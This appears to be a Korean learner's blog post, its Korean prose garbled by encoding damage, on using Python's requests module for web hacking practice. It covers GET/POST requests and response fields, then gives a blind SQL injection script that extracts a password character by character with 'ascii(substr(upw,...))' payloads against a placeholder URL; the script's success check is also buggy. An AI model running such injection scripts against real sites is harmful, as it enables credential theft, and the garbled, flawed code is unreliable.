[Web Hacking/Python] Request ๋ชจ๋ ์ฌ์ฉ๋ฒ
Request ๋ชจ๋
์นํดํน์ ํ ๋ ์ฌํ๊ป ๋ฐ๋ณต๋ ์์ฒญ์ ๋ณด๋ผ ๋์๋ burpsuit๋ฅผ ์ฌ์ฉํ๋๋ฐ, python์ request ๋ชจ๋์ ํตํด์๋ ์ข์ ๊ฒฐ๊ณผ๋ฅผ ๋ผ ์ ์๋ค๋ ๊ฒ์ ์์๋ค.
๋์ ์์ด์ ์ฌ์ฉํ๋ฉด ์ข์ ๊ฒ ๊ฐ์์ request ๋ชจ๋์๋ ์ต์ํด์ง๋ ค๊ณ ํ๋ค.
request ๋ชจ๋์ ์ด์ฉํ๋ฉด GET ์์ฒญ์ด๋ POST ์์ฒญ๋ฑ์ ๋ณด๋ผ ์ ์๋ค(๋ฌผ๋ก ๋ค๋ฅธ ๋ฉ์๋๋ ๊ฐ๋ฅํ๋ค!)
๋จผ์ GET ์์ฒญ์ ์ด๋ป๊ฒ ๋ณด๋ด๋์ง ์ฝ๋๋ฅผ ๋ณด์.
c=request.get(url,header,params..)์ด๋ฐ์์ผ๋ก ๋ณด๋ด๋ฉด get ์์ฒญ์ด ๊ฐ์ง๋ค!
์ด๋ ์๋ต๊ฐ c๋ response๋ฅผ ๋ฐ๊ธฐ ๋๋ฌธ์ c.raw, c.status_code.. ์ด๋ฐ ์์ผ๋ก ์๋ต์ ๋ํ ์ ๋ณด๋ ๋ฐ์ ์ ์๋ค.
import requests
#Reqeust URL Setting
url="https://dreamhack.io/" #๊ฐ์ฅ ๋ง๋งํ dreamhack ํ์ด์ง๋ฅผ ๊ฐ์ ธ์ ๋ดค๋ค.
#Request COOKIE value Setting
cookie={'Cookie':'SESSID=SESSION_DATA'}
#GET Request
r=requests.get(url,headers=cookie)#ํค๋๋ก ์ฟ ํค๋ฅผ ๋ณด๋ด์ฃผ์๋ค!!
#POST Request
#POST๋ data ์ธ์(๋์
๋๋ฆฌ)๋ ๊ผญ ๋ฃ์ด์ค์ผํ๋ค!
r=requests.post(url,data={
"param1":"p1",
"param2":"p2"
}, headers=cookie)
์๋ต๊ฐ์ ํ์ธํด๋ณด์. ์ด๋ request.๋ฉ์๋(~)์ ๋ฆฌํด ๊ฐ์ด๋ผ๊ณ ํ๋ค!
# Print URL Data
>>> print (r.url)
https://testurl.com?Param1=value&Param2=value
# Print Content Text
>>> r.text
<!DOCTYPE html>
<head> Test Url </head>
...
# Print Content
>>> r.content
b'<!DOCTYPE html>\n<html lang="ko">\n<head>\n <meta http-equiv="Content-Type" cotent= '
...
# Print Raw Content
>>> r.raw
<urllib3.response.HTTPResponse object at 0x000001EEFE821750>
# Print Status Code
>>> r.status_code
200
# Print Response Headers
>>> r.headers
{'Date': 'Mon, 13 Jun 2022 09:51:53 GMT' ...
# Print Response Content-Type
>>> r.headers['Content-Type']
>>> r.headers.get('content-type')
'application/json'
Blind SQL Injection ๊ณต๊ฒฉ ์คํฌ๋ฆฝํธ
ex) ๋น๋ฐ๋ฒํธ ๊ธ์:20์, ๋น๋ฐ๋ฒํธ:์์คํค์ฝ๋
import requests
#Blind SQL Injection ๊ณต๊ฒฉ ์คํฌ๋ฆฝํธ
#ex) ๋น๋ฐ๋ฒํธ ๊ธ์:20์, ๋น๋ฐ๋ฒํธ:์์คํค์ฝ๋
url="~.com"
params={
"uid":"",
"upw":""
}
query="' and ascii(substr(upw,{idx},1))={val}--"
password=''
for i in range(1,21):
for val in range(32,127):
params["uid"]=query.format(idx=i,val=val)
c=requests.get(url,params=params)
print(c.url)
#์๋ต์ Login Success ๋ฌธ์์ด์ด ์๋ค๋ฉด password์ ๋ฌธ์ ์ถ๊ฐ
if c.text.find("Login Sucess"):
password+=chr(val)
break
print(f"Password is {password}")
๋ญ ๋์ถฉ.. ์ด๋ฐ์์ผ๋ก ํ๋ ๊ฒ ๊ฐ๋ค
์๋ ๋ฌธ์๋ฅผ ๋ณด๋ฉด ๋ ์์ธํ ๋์์๋ค!
Requests: HTTP for Humans™ — Requests 2.31.0 documentation (python-requests.org)